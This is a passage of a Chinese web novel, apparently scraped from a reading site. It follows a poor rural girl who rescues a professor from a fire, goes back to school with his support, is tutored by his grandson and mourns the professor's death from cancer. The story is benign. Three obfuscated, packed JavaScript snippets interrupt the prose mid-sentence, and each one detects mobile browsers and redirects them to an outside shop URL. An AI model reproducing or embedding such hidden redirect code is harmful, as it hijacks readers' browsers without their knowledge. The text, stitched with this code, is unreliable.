周记排挡下午没有客人,应星正在店里和老板夫妻俩一起穿肉串。老板没有校园网,并不知道应星救人的事情,看到爷孙俩走进店里十分惊讶。 靳建华向老板说明来意。应星只是和靳樵爷孙俩目光交汇了一下,手里的活并没有停下来。 老板听说完来龙去脉后十分吃惊,他只知道应星干活不偷懒,哪想到她还有当英雄的潜质。 靳建华问:“老板,老板娘,我可以和这孩子单独谈谈吗?” 老板很热情:“没问题没问题!楼上有个包房是空着的,你们到那里去聊。靳教授吃过了吗?我给你们做点吃的来!” “谢谢老板。我和这孩子谈谈就可以了,不用麻烦。” 靳建华没想到救她的真是个小姑娘,穿着朴素,气质沉稳,但年纪看起来比靳樵还要小点。 到了包间,靳建华请应星坐下说话。 “姑娘,我是昨天你到楼里背出来的人,是靳樵的爷爷,今天是特意来感谢你的,如果打扰到你干活,我们就长话短说。” 应星穿着干活的围裙、水鞋,水鞋上还沾了些掉落的肉筋。从爷孙俩进店到现在,她还没说过一句话,她有点意外,又不知道说什么,听人家来感谢,她就说了一句没有打扰,不用谢。 靳建华问:“姑娘,怎么称呼你?” “应星。” “是哪个应哪个星?” 应星低声说了,又说了句不用谢。 靳建华昨天的打算是好好感谢人家的救命之恩,给这姑娘一笔钱,再到学校给她申请一个见义勇为奖。可他看到应星时,心里产生了跟靳樵一样的疑惑。这孩子看着年纪不大,为什么没有在学校读书? 靳建华人活到八旬,这辈子什么人都见过,什么事都经历过了,因此更加感念某些难得的恩情、珍贵的品质。他看着应星的样子,改变了昨天的想法,小心地问她:“应星姑娘,你今年多大了?” 应星:“十八。” “你比我家靳樵还小一岁,我冒昧问问你,怎么没在学校里读书呢?” 4. 复返 应星静静看着爷孙俩人,不知道为什么突然问她这个。她只是路过随手帮了人,没有受伤,没有损失什么,火灾起时要帮忙,这样的事在农村很常见。她现在知道他们是来说感谢的,她只要说不用谢就行了,别的再问,就是她的隐私了。 靳建华:“如果我问的话让你不好回答了,那我跟你说抱歉,你也可以选不回答。姑娘,我还想知道,昨天你是路过家属楼吗,你爬到三楼时是什么情况,那么大的火,你为什么会想着进去呢?” 这些应星就可以答了。 “昨天我去那里送餐,路过看到着火,就进去看看,想看看,有没有人打不开门,我到三楼,看到有人昏迷,就想先把人背下来,再晚要出事的……” 靳建华和应星谈话的过程中,靳樵坐在爷爷身边无声地打量应星。她个子不高,身材也不强壮,是怎么凭一身力气把爷爷背下三楼的。靳建华七十岁以后虽然瘦下去许多,但年轻时是个大个子。她背着人跑下楼,到院门口就跌倒了,一定很艰难吧。 他昨天忙着照顾爷爷,忘记去注意应星被扶起来又说了什么,做了什么,只记得她骑上车继续去送餐了。 靳建华看出来了,这是一个内向寡言的姑娘。简单朴实,胆怯,心里的话都写在眼神里。 “姑娘,我跟你说心里话。我是靳樵的爷爷,也是居仁的老师,实验室里有个国家项目是我主持的,如果缺氧昏迷太久导致脑损伤,这个项目就要停摆,到时国家的损失怎么办,我那些研究生怎么办。我庆幸,有人及时把我背了出来,人老了,经不起一点损伤了,我这副身子也不是我自己的……所以,我很感谢你。” 应星:“不用谢。” 靳建华看应星只会说简单的一句不用谢,此外就怯怯地看着他,有些于心不忍,从兜里掏出一张卡片,让靳樵把两个号码写在上面。 “这是我和靳樵的电话号码,你有什么事情需要帮助,或者想让我怎么报答你,你就给我们打电话,或者发短信也行。我的名字叫靳建华,我是居仁生物科学学院的老师。” 应星接过卡片拿在手里,她甚至听不懂生物科学学院是教什么的。大学老师,这是她这辈子见过地位最高的人了,原来靳樵的爷爷是居仁大学的老师。 他们临走时,靳樵回过头,又看着应星很认真地说:“应星,谢谢你救了我爷爷,我们全家都会铭记于心。” 老板开开心心地把爷孙俩送走,忍不住夸了应星几句。应星见义勇为,她在店里打工,在师生间传开来,对店里的生意只有好处没有坏处。 应星随手把那张纸片揣到兜里,她现在还不知道该不该给他们打电话,可以说什么。她在农村长大,在农村,这种随手帮一把的事真的很常见。如果起火时不帮忙,火灾就要蔓延开来,那时一个寨子都可以有危险。因为从小见过,所以在应星心里,这真的算不上什么大恩大德。 打车回平水路的路上,靳樵跟爷爷说了他了解的应星的事。靳建华决定之后请门下的女孩子来和应星聊一聊,应星对不熟的人有很强的戒备心,爷孙俩这样贸然去找她,看出来她并不自在。 靳建华说:“这孩子看样子很朴实,心地纯良,要真心感谢她,就为她做点实际的事。” ———— 小学期的最后一天,靳樵正在实验室忙碌,靳建华打来电话让他去办公室。 靳建华门下有个很亲和的博士生叫文婷,是从贫困县通过专项计划考来的博士。她和应星聊了小半月,终于弄清楚了应星的情况。 在靳建华的办公室,文婷跟爷孙俩人说起。应星的家在西北农村,是有名的贫困县。应星父亲是煤矿工人,三年前出矿难去世,半年后母亲离开老家,此后再没回来过。应星还有个三岁的弟弟,因天生髋关节发育不良,是个跛脚的孩子。应星在当地的县中读书时被母亲骗回家,母亲走后就没再去学校。应星还有个姑姑,但帮不上她。她打工的钱除了供养祖父母和弟弟,偶尔还接济姑姑。她辍学两年多,在理发店和美容院当过学徒,一年前随亲戚来到居仁附近的周记排挡打工。 靳樵问文婷:“有学生因家庭困难而辍学,学校和当地教育局不会管吗?” 学姐无奈地摇头:“别说读高中,在贫困县的农村,小学、初中也有许多孩子辍学的,学生愿意回学校,学校给减免学杂费,有一定补助,这样就已经算很好了。辍学的孩子,困难是各种各样的,学校和教育局就是再努力,也没有谁能把所有困难孩子都帮了。” “她有跟你说她母亲去了哪里吗?” “应妹妹只提了句母亲喜欢唱山歌,喜欢买新衣服,打扮得很洋气。看得出来,这姐弟俩对母亲都还有很深的感情,但是他们母亲离开家后没有联系过她和弟弟。”文婷叹气,“这样的事真的很令人难过,我实在不忍心多问。” 靳建华问:“文婷,应星的老家距你家多远?” “属于相邻的市,坐班车的话,半天时间。” “过几天你不是要回去吗?你替我去看看她家里是不是真是她说的这种情况,路费我给你报销。” 文婷答应:“好的老师。” “如果这孩子说的情况属实的话,我想资助她回去继续上学……” 靳樵又好奇道:“文婷姐,应星在学校时成绩怎么样?她跟你说过吗?” “妹妹很内向,很难信任不熟的人,什么事都是说一两句就不提了。我听她的意思,她在县中成绩还是不错的。只是我们那里教育资源差,县中名列前茅的孩子,比起省城这些地方就比不过了。” “文婷,那就劳烦你去看看了。” “好的老师。” 靳樵从办公室走出来,他忍不住想,如果他不是靳建华的孙子,如果她和应星人生对调,他能不能跟应星做一样的事?这些天,她背着爷爷从浓烟里跑出来的样子总在他梦里反复出现。 他站在生物学院门口的湖边想了许久,勇敢是罕见的品质,跟出身、跟学习成绩完全无关。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17477932|201591||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 回实验室的路上,阮梦发来消息问明天的聚餐他去不去。小学期结束后阮梦要去电视台实习,以后见面的时间就很少了。 团队下周就要比赛了,为了这个项目,他们四个人都到了废寝忘食的地步。学长说如果这个项目获了奖,拿到投资,他毕业后就创业。靳樵也被他们做出来的东西激起了雄心,比赛之前,他想把全部的精力都投入到项目上。 他想了想,给阮梦发消息:“抱歉啊,比赛快开始了,最近忙着项目的事,明天没有时间过来,祝大家吃得开心,有什么需要帮忙的记得跟我说。实习顺利!” 阮梦收到靳樵简短的回复,没有再回他,她显然有些失望。两人拉拉扯扯小半年,现在复合的概率越来越小。 ———— 那一天,在靳建华的办公室,应星听到她真的能回去继续读书时,忍不住哭了出来。 她很久没哭过了,上次哭是在她出门打工那天弟弟嫩声嫩气地叫她的时候。办公室里还有三个人,应星觉得哭出来很尴尬,只得蹲在地上,埋头让眼泪流进袖子里。 文婷学姐把她扶到沙发上,靳樵默默抽出两张纸巾递到她面前。 靳建华想为应星联系省城的学校,和应星以前的班主任沟通再三,班主任认为以应星现在的基础,在县中的好班也合适。 应星主动选了县中,并且想从高二读起。她熟悉那里,尖子班她呆过,县中尖子班的老师们教得很好,不输给好学校。县城离家近,能常回去看家里。如果去省城,一个学期不能照看弟弟,她心里会极其难受。应星很感激,县中已经很好,她也不想给人多添麻烦。 应星离开学校已经两年多了,靳建华和文婷都建议应星重读高一。应星认真想了想,她高一的功课学得很好,还剩一个月的时间可以复习数理化,她笃定自己现在去读高二也跟得上。最重要的是,她快要十九岁了,按年龄应该上大一了,回去读书比班上的同学都大了一截。在农村,考上大学就能改变命运。应星就这样得到了一个改变命运的机会,在她内心深处,她真的好想那一天尽快到来。 靳建华了解了各方面的情况,最后决定尊重应星自己的想法。 靳樵看到应星通红的眼睛,不忍的情绪又涌上心头。一个女学生读完高中的费用对中产家庭来说根本什么都不算,对应星来说却难如登天。 2012年8月,应星在老师家里复习了半个月高一课本。 在那个月的中旬,时隔三年后,她重新回到求学的课堂。 这一切对应星来说像在梦中发生的事。 她无比感激那天看着火灾冲进楼里的自己,就那样救出了一个改变她命运的人。这改变来得如此突然,就像她一个人在黑暗冰凉的海水里游泳,游得很累很绝望了,因为她的一个善举,有人突然向她递来绳索,将她重新拉回了岸上。 重新回到学校,应星觉得她这辈子从没在什么事上这样努力过,为了学习什么苦都能吃,什么机会都不会放过。 5. 县中 那一年的寒假来临前,靳建华给应星打来一个电话,邀请她到居仁参加学校的年度表彰大会。文婷师姐特意从老家过来,帮应星请了周六的假,带应星一起坐动车去汉源。 应星从来没有参加过表彰大会。 居仁大学的年度表彰大会在百年礼堂举行。应星被引导礼仪的同学带到第一排,红色的椅背上甚至贴有她的名字。同学告诉应星,这里是要领奖的嘉宾们坐的,应星觉得诚惶诚恐。 她听到后排好像有个熟悉的声音,于是侧过头悄悄看向后面,看到个熟悉的人,靳樵,他坐在第二排。 靳樵不知道为什么穿了一身很正式的西装。那西装剪裁合体,显得他肩膀宽了不少,加上他一丝不苟的发型,应星突然觉得,才半年不见,靳樵就像变成大人了。 “你好,应星。”靳樵朝她眨眨眼。 这好像是靳樵第一次叫她的名字。不对不对,他和爷爷上门说感谢的时候,就叫过她名字了。 “你好……”应星在心里说,靳樵。 坐在观众席第一排,应星听着舞台的领导读出她的名字。她由引导的同学指引走上台,接过冰凉凉的奖章和荣誉证书。大屏上放了一张她骑着车离开火灾现场的照片,不知是当时在现场的人拍下的,也难为学校能把这张照片找到现场来播放。 主持人讲述应星见义勇为的事,台下响起久久的掌声。 这样的场景像是在梦里,有些不真实。这场景给了应星一个错觉,某一瞬间,好像她没有经历家破人亡,没有一切变故,也变成了居仁大学的学生,和靳樵是同学。居仁学生们所做的一切,她都可以参与,她成了他们中间的一员。 校党委授予应星见义勇为先进个人称号。应星不是校内师生,但她的救人行为在校内,救了学校的老教授,靳教授为应星申请,党委一致同意应星值得这个称号。 坐在应星不远处一位穿着制服的中年阿姨获得居仁最美劳动者称号,应星惊奇不已,打扫卫生在居仁竟然也可以得到表彰。 下一个表彰,舞台上的主持人说道:“我校学生在2012这一年中,获得了许多重量级的成果、奖项。” 应星听到领导说了许多前缀,接着说出一个团队的名称,念团队的成员。 团队中有靳樵的名字,应星有些吃惊。 接着,音乐声响起,她看到靳樵和团队其他人的名字出现在大屏上。 团队名字的下面有几个大字:“霍特奖”亚太区冠军。 他们团队做的可持续能源项目斩获了霍特奖亚太区冠军,进入全球前六强。主持人接着说,距离上次有居仁学生获得这个奖已经有六年了。 应星仔细看大屏,他们的项目叫“Re-ChargeHub”。她出神的片刻,背后响起了热烈的欢呼和掌声,靳樵和他左右的三个男生一起站起来,向后面的观众招手,欢呼声更大了。 应星没有智能手机,没法查一查霍特奖是什么奖。她突然想起来这应该就是靳樵他们在地库实验室做的那些东西,就是这个Re-ChargeHub。 是直到很久以后,应星才知道,对国内的高校学子来说,那真的是一个很厉害很厉害的奖。获得亚太区冠军意味着要从数十个国家数百只队伍中脱颖而出,原来靳樵是那么厉害的一个人。 靳樵他们团队的四个人都穿着西装,各自在台上说了一段发言。发言虽然简短,却让人觉得,他们对自己做出来的东西充满自信,好像凭借这一项技术就能改变全世界一样。 和靳樵的团队及所有受表彰的人一起站在舞台合影的时候,应星忍不住在心里做梦,要是她也能考上居仁,那该有多好。 颁奖结束的时候,文婷学姐用靳樵的手机给靳樵爷孙俩和应星照了一张照片。背景是礼堂的暗红色幕布,应星和靳樵各自拿着奖章和荣誉证书,一左一右站在靳建华的两边。 靳樵的手机像素很好,应星看着那清晰的照片惊住了,她第一次发现,原来她看起来也可以有几分大学生的样子。 靳樵的声音在头顶响起,“应星妹妹,看这么久?” 应星慌忙把手机交还给他。靳樵说:“以后我传给你。” 他又问她:“学习很辛苦吧?高二的课程还跟得上吗?” 应星摇头,“不苦,跟得上。” 十五六岁时就在外面打过工的人,再回到学校不会觉得有任何苦。 “有需要帮忙的事要给我和爷爷打电话哦!”靳樵扬了扬手机笑起来,应星发现他的左颊竟然有个若隐若现的酒窝。 读大三的靳樵有种介于青葱男孩和成熟男人之间的气质,那种气质对应星来说太陌生了。 靳樵跟同学转到礼堂前去拍照,文婷学姐带应星去酒店。那天晚上应星做了梦,在梦里,她依然在不停地想,她真的好想到居仁读书,好想考上居仁,为了这个目标,她会拼命拼到不顾一切。 ———— 高二下学期。七月的第一个周,全市高中统考结束。统考之后还要上半个月的课,这是所有县中的传统。应星突然收到靳樵发来的消息,问她:最近学校有无要交的杂费?生活费还够吗?学业上有什么困难? 自从她回到学校,每隔一段时间便会收到靳樵给她发的信息。靳建华太忙,把和应星高中对接的事都交给了靳樵。靳樵会定期和应星联系,跟爷爷汇报。 课间,应星趴在桌上捏着自己的诺基亚手机,想着该如何回复。 统考成绩刚刚出来,她的物理考得很不理想,名次比起月考也掉了好多。明明她已经用尽了所有的学习时间,做题的量已经是许多同学的两倍……看到那成绩,应星甚至开始怀疑,自己去年是不是真的应该从高一读起,现在后悔也来不及了。这个分数说出去很对不起帮助自己的人吧…… 到放学时,应星还是认认真真给靳樵编辑了回复,“补课费已经交过了,没有别的杂费要交,生活费够用的。今天,期末考试的成绩出来了,我的物理没考好,年级名次比上次月考下降18名。我一定会努力补回来的。”她不会对资助自己的恩人说谎。 午饭时,手机叮咚一声,是靳樵是回复:你们学校那么多学生,下降18名也没什么。也不算太分析失分原因了没?准备怎么补? 应星:“还没,今天没有物理课了,下午我会去办公室找老师,先请教老师。” 暑假来临的前一天, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17477933|201591||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中午放学时,应星和同学出去吃饭,出校门时突然看到对面宣传栏处站着个人,是个有些熟悉又陌生的高个子男生。 竟然是靳樵。 靳樵朝他招手,应星才反应过来他是来找自己的。和她挽着手的两个女同学都有些惊讶,靳樵穿一条军绿色长裤,白T恤外搭迷彩衬衫,穿得很随意,但看起来完全不像他们这小县城里的人。 看应星和两个女同学一起,靳樵指了指校门侧对面那家奶茶店,“你们先去吃东西,我在那里等你。” 吃过饭,应星告别同学飞快赶回奶茶店,她站在那门口犹豫了几秒,有点后悔昨天晚上为了省点时间没有洗头。 靳樵跟她打招呼,并没觉得异样,“应星,你是今天起放假吧?我帮爷爷来看看你。” 应星在小桌子旁坐下,靳樵只注意到她的帆布鞋穿出了豁口,倒没注意她洗没洗头。 学校要交的钱都打给班主任,每隔两个月,靳建华会让靳樵给应星汇一笔生活费。他给的金额很宽裕,还会接济她家里,但应星更节省,每次都有结余。 应星从书里拿出一张成绩条,递给靳樵。 靳樵忍不住对她说:“我没有打扰你吧?你放松些,我不是来检查你成绩的。” “没有。”应星说。 靳樵今天站在校门口,就好像一个突如其来的景点。今天下午肯定会有同学来问她,他是谁。小县城人口不多,比起大城市更是十分贫瘠。应星见到靳樵,就又想起了去年年底表彰大会上做的那个梦,她好想考上居仁,好想成为他们中间的一员……靳樵只要站在那里,就能又一次提醒她她做的这个梦。 靳樵看应星很拘谨,便问道:“我能看看你的物理试卷吗?” “我没带出来,现在回去取可以吗?” “可以,我在这里等你。” 应星回班上取了物理试卷、答题卡,又把物理书和资料一起都带了。 靳樵把试卷和答题卡拿在手上仔细看了一会儿,看时间已经快一点了。 “你先回去午休吧,下午我给你讲讲!好不?” 好不好?当然很好了。 靳樵要给她补课?应星被蛊惑了。 她想了片刻,“我不午休了,我想学习。” “不睡午觉下午不困?” 应星摇头:“下午最后两节课,可能不上课。” “好。” 靳樵让应星先翻开资料书目录,把她做错的题目还原到具体章节的知识点。靳樵圈了两个地方,对应星说:“先讲倒数第二题,这个题,出题人就是想考学生有没有掌握这两个点,只不过他在题目里加了干扰条件,又增加了一层运算,实际上不难。” 他翻开应星做的练习题,找了一会儿,圈出其中一题递给她,“你仔细看,其实相同的习题你已经做过了,但是没记住思路。” 应星发现靳樵有那种快速找到关键,并三言两语把它讲清楚的能力,这样的能力她很欠缺。 靳樵让应星看资料再重新梳理他圈出的那两章。 两点多时,住家的同学们陆续来上课了,奶茶店门口进来几个应星的同学,一边点冰饮一边悄悄打量靳樵。 6. 补课 靳樵让应星先去上课。 “放学我在这里等你,再做一些习题,然后总结思路,以后这类的题就能掌握好。” 靳樵说得很轻松,对与居仁的学生来说学习仿佛是世界上最轻松的事情。 应星想问他今天不回去吗,怎么会有时间在县城停留,在几位女同学灼热的目光里,她不好意思问出口。 下午放学,等学生走的差不多,奶茶店有位置了。靳樵又来了。 “我就住在汽车站附近的酒店。你资料带来了吗?” 靳樵没有多说别的话,让应星做了几道习题,给她批改,把不会做的那一道细细给她讲了一遍,再带着她总结思路,最后从网上搜了两个习题抄在草稿纸上,让她今晚回去写。 靳樵讲话简单又清晰,有种成竹在胸的笃定,应星毫不犹豫地相信他,相信跟着他一定能学好。 靳樵说:“应星,你如果不着急回家的话,我可以给你补几天课。” 应星本来就打算多留一个星期再回去的。 她犹豫了,怕耽误他的时间,“但是,你不回去吗?” 靳樵点头,“要回去,所以我能给你补课,但是只有四天时间。不过这四天,只补物理的话也够了。” 四天就能补上来?应星不知道,但靳樵有种让人无条件信任他的能力。他的目光很专注,语气轻松,仿佛他说能,就一定能。 应星重重点头,“我不回去,就在这里补课。谢谢你……” “好!这几天都在这里,白天补课,晚上你回去做题。” 快到吃完饭的时间时,两人引起了奶茶店老板娘的注意。 老板娘看着这两人,从中午起就在这里补课,补得很认真。两人看着不是情侣,又不像兄妹,靳樵看起来也不像机构的老师。在他们这样的小县城,普通孩子哪请得起上门补课的老师。 靳樵就这样给应星补了四天物理。 到最后一天下午,靳樵出的题应星做了全对。靳樵还是又一次带着她总结,并让她反复消化这类题的解法。 “记住了,以后遇到这样的题,一律都是这个思路。题量不是关键,关键是要记住思路,并且灵活运用。” “好,”应星觉得很清晰,“我想把这个题抄在题本上,可以吗?” 靳樵:“可以的。” 奶茶店老板娘探出头来,“小伙子,你教初中吗?” “嗯?”两人一起转过头。 老板娘兴致勃勃地说:“我看你教得不错,我儿子马上上初三了,物理考得最不好,要不你替我儿子也补几天吧?你补课费收多少?” 靳樵朝他笑笑:“姐,我补课不收钱,但我不是专业的老师,我等下就要坐车回汉源了,不好意思啊。” 老板娘被靳樵这一声“姐”叫得眉开眼笑。“你不是本地人啊,那太可惜了,我看你讲得很好的嘞!” 奶茶店的桌椅都是免费提供给学生。但这几天,靳樵每天都在店里点两杯冷饮,还要了大杯。老板娘看得出靳樵很会想事。 收拾好东西,靳樵问应星:“还要不要喝一杯?” 应星摇头,“不用了,谢谢……” 应星一直不知道叫靳樵什么,她总觉得直呼其名显得不太好,靳樵年级和年龄都比他大。靳樵出于礼貌能叫人家老板娘一声“姐”,她却叫不出靳樵一声“哥”。 靳樵要打车去汽车站。他们站在校门口等出租车,除了补课,两人其实没有什么多余的话说。他们是同龄人,靳樵不过大了一岁,但出身、经历和眼界都天差地别。靳樵已经在考虑大学毕业之后的事,应星却还穿着一身灰扑扑的县中校服,见过最大的世面就是进居仁大学宿舍送餐,旁窥过天之骄子们的生活。 应星觉得自愧。她的经历不怪她自己,但她仍然觉得愧疚。因为显而易见的巨大差距,就这样站在一起,也令她觉得窘迫尴尬。 进出租车时,靳樵回头跟她说:“我走了,加油应星!还有,不用太节俭。” 应星挥手,看着出租车远去,觉得这几天的经历有些不可思议,也像一个梦。靳樵讲物理非常在行,比她的物理老师清晰生动得多,此外多余的话几乎没有。 应星快二十了,她比班里的同学都大,又闯过几年社会,她能清晰地感觉到靳樵的分寸感。那样的分寸来自他的家世和素养,他和应星的相处不会让任何人产生误会,连看了他们四天的老板娘也都能感觉到他的礼貌。 自愧之外,应星久违地想到幸运两个字,就因为她顺路帮了靳教授一把,老天就能让他遇到靳樵这样好的人吗?应星没有什么能报答的,只有学习。她给姑姑打了个电话,把在校的时间又延长了几天。 靳樵让她不要太节俭,应星做的唯一的改变就是回家那天去奶茶店买了一杯奶茶,就当感谢老板娘给他们提供桌椅。 老板娘认出她是补课的学生,看到她来消费很是高兴,一边做奶茶一边问她:“姑娘,给你补课的那个小伙子是做什么的?” “他还是大学生,没有工作。” “哪个大学的?” 听应星说居仁大学,老板娘咋舌,“怪不得他这么厉害!” 在应星他们县中,有考生考上居仁大学已经是十几年前的事了。有人考上居仁,那是要全城敲锣打鼓庆祝的。 应星放假回家,暑假的一天,应星正和奶奶在地里干活,文婷学姐给她打来一个电话。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17477934|201591||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 学姐照例代老师问了应星的生活、学习,应星感觉到她在电话里有些欲言又止的沉默,感觉到好像有事发生。 她问:“学姐,出什么事了?” 文婷沉默了一阵,终于说了出来:“妹妹,有一件事我觉得有必要告诉你,但是你要先保密,也不要去问。老师他查出癌症,正在住院治疗。你要是有什么事,先发消息给我和靳樵,但是最好不要直接打扰靳老师……别打扰他治疗。” 听到“癌症”两个字的时候,应星感觉像是心上挨了一棍,那么博学和善的老教授,为什么老天要让他得癌症? “学姐,这是什么时候的事?” “查出来是年初,但是老师一直瞒着所有人,每天还是照常来学校工作,直到六月份,他突然晕倒在讲台上……” 六月份?应星一惊。靳樵来给他补课是七月份! 那个时候靳樵肯定已经知道爷爷生病了……现在想起来,靳樵那几天并表现出什么异常,是她太迟钝没有察觉到吗? “妹妹,资助你的事不会受什么影响,你只管好好学习就行,治疗的事交给医院。你能考上大学就是最令人欣慰的事,我就是跟你说,这个阶段尽量别打扰老师。” 文婷是个把事情想得很周到的人,她担心应星联系老师时,遇到他正昏睡,或者正在化疗,进而产生什么误会。老师患癌,最需要的就是专心治疗,这些事最好由靳樵或者学生来代劳。 其实,文婷不了解应星,应星连回靳樵消息都字斟句酌,哪里会想到给靳教授打电话,她最怕的就是麻烦恩人。 “我知道了学姐。” 挂了电话,应星握着手机流下泪来。这几年,应星不算长的人生里遇到的突如其来的灾难太多了。 靳建华拄着拐杖跟她说话的样子她一直记得,他有那么高的社会地位,跟她说话却十分温和,处处照顾她的感受,没有一点架子。应星真心希望靳教授健康长寿,但她不知道应该做什么,也做不了什么。 暑假在家里,应星跟着奶奶和村里的婶娘们到山上的菩萨庙。她们烧香拜菩萨,应星也跪在菩萨像前虔诚许愿,希望世界上所有善良的人都能健康长寿,希望靳樵能开心顺遂。 她总是打开和靳樵的短信界面,看着那些短信猜想发生了什么,会不会出现转机。 但应星隐隐确认,靳建华教授真的出事了。因为靳樵已经很久没有给她发过信息。 转眼间高三开学了。 九月初的一天,应星在教室学习到很晚,等她回到寝室打开充电的手机,看到文婷学姐发来的短信:“妹妹,老师今天走了……” 字像冰锥一样扎在应星心上。 上天没有听到她的许愿。 7. 门外 应星坐在床上缓了好久,才给文婷学姐拨电话。 文婷压下哽咽,简短告诉应星,靳建华倒在讲台上不久,就已经是晚期了。癌细胞扩散得很快。化疗过一段时间,他在清醒过来时选择了放弃治疗,最后是在平水路的家里去世的。 靳教授真的走了。 这件事,靳樵没有发短信告诉应星,应星和文婷都是外人,靳樵没有必要专门给她说爷爷的事,应星也没有立场主动去问,那对靳樵和家人都是一种打扰。 应星认真问道:“学姐,你觉得我可以去居仁参加靳教授的追悼会吗?” 文婷学姐想了想,这件事她没法给应星建议。 文婷说:“妹妹,我理解你的心情。这件事你问问靳樵吧,靳樵是家属,他说可以,应该就可以。” 应星捏着手机到凌晨都没有睡着觉。她想起了爸爸,一个只有小学二年级文化的老实巴交的农村男人。 老家的煤矿手续不齐全,安全设施也没有经过检查监管。矿难时他和三位工人一起被埋在地下,人挖出来时已经看不清血肉了。四家人凑钱请律师打官司,后来煤矿老板逃到了国外。应星那时要出去打工,最迫切的事就是要赶紧挣到钱请律师,让人赔爸爸一条命。 为什么不幸总是这样毫无征兆地降临? 快天亮时,应星给靳樵发了一条信息:“靳樵,请问我可以来参加靳教授的追悼会吗?” 应星想去拜拜逝去的长者,给他嗑上一个头,感谢他资助她重回校园的恩情。 她又发了一条:“靳樵,请节哀。” 和靳樵的悲伤比起来,她这句话是那么轻飘飘,但一个外人能说的安慰的话最多也就这样了。应星编辑了别的话,又给删掉了,多说对悲伤的人是打扰。 ———— 靳建华去世的灵堂位于汉源市郊外,空旷肃穆。 有老师傅低声念着经,念了几个小时没有停。靳樵和爸爸、两位姑姑一起守在灵前,静静给火盆里添纸。 靳樵的奶奶去世得早,这些年,爸爸和大姑都在国外,小姑在香港。只有靳樵常年和靳建华一起生活,爷孙俩请了一个阿姨,在平水路和学校家属楼两头跑,帮助他们做家务。 靳建华晕倒那天,靳樵接到电话飞奔到医院,看到病床上的靳建华只是脸颊瘦了一些,那时他还存着侥幸的想法。直到医生把诊断报告拿给他看,他浑身一下子失去力气,跌倒在座椅上。 靳樵的父亲是个画家,母亲是美籍华裔,两人在靳樵八岁时离婚。从九岁起,靳樵便和靳建华一起生活,在居仁读附小、附中,进居仁,所有生活学习都是靳建华操办。他和父母的感情远没有和爷爷深。 爷爷从倒下到去世,这个过程太快了。他看到靳建华一天一个样地瘦下去,在学校的支持下,汉源市组织了两次专家会诊,用了国内外最先进的药物,但很快效果越来越小。医生每天让爸爸和姑姑签各种各样的同意书。靳樵什么都来不及做,他第一次深刻体会,当死亡要带走一个人的时候,不论谁,不论做什么,都不能改变结果。 念经声萦绕。靳樵感到心里像空了一个大洞,身体的疲惫已到达极点,他无声地跪着,听到手机振动。 他掏出手机,看到应星的短信,眼前浮现出一张留着学生头蹙着眉毛认真做题的脸。 靳樵又忍不住想了许多问题。 那样单薄的身体,怎么会背得动爷爷呢?如果那场火灾里爷爷就走了,他会不会更难过?他为什么那么粗心,连爷爷自己去医院查出重症都没有发现?让他瞒着所有人,在实验室没日没夜地忙直到昏倒…… 七月他到西北去看应星时,靳建华已经住院了。是靳建华让他去看看应星的情况。他告诉过靳樵,既然资助应星,就要用心帮助人家,最好能帮她走出山沟,改变命运。应星说物理没考好,靳樵便帮她补物理,这是他那时唯一能做的告慰老靳的事。他那时没有告诉应星爷爷生病的事,医生在尝试用国外的药,效果未知……跟谁说都没用。 晚期,医生只说了尽量用药,延长剩下的时日,做临终关怀。他从西北回来后一周,靳建华清醒过来时就让人替他办了出院,他最后的心愿是能把没写完的书稿撑着写完,想躺在家里死去,但写完书稿的心愿也没实现。 姑姑拍拍靳樵:“阿樵,去睡会儿吧。” 靳樵抬起头问:“爸爸,大姑小姑,爷爷资助了一个高中生叫应星,就是去年家属楼起火时救了爷爷的女孩,可以请她来参加爷爷的追悼会吗?” 大姑姑累得嘴唇苍白,听靳樵说的话,神色没有什么变化。 “她想来就来吧。” 靳樵在灵前跟爸爸和两位姑姑说了应星的事。令他诧异的是,他们对应星的事情并没有多在意,三个人都只是淡淡的就过去了,似乎并不觉得那是多大的恩情。 “她救了爷爷!爸,大姑、小姑,是她让爷爷逃过一劫,免于脑损伤和生命危险。她那么小的个子,从火场里爷爷背了出来……” 小姑看着他:“阿樵,可是现在爷爷都去世了,你说这些有什么用?” 靳樵愣住。 可能是他们都没有亲眼见到应星背着爷爷从浓烟中跑出来的样子,可能是因为他们呆在国外太多年,对这样的人情很淡漠了,也可能是因为人已经走了不想提了。 靳樵支撑不住,找地方睡了一觉。醒来时回了应星的短信,告诉他葬礼一切从简,爷爷会更乐意看到她安心学习。 应星把手机带在身上,晚自习时收到靳樵的短信。她感到难过,有些遗憾,但完全能理解靳樵。他们还有别的家人,还有……这一路来回的费用,应星现在没有收入,花的也是靳教授资助她的钱。 第二次月考成绩下来,应星又有机会给靳樵发信息,她发过去:靳樵,这次月考我的物理考了84,总分年排第14。 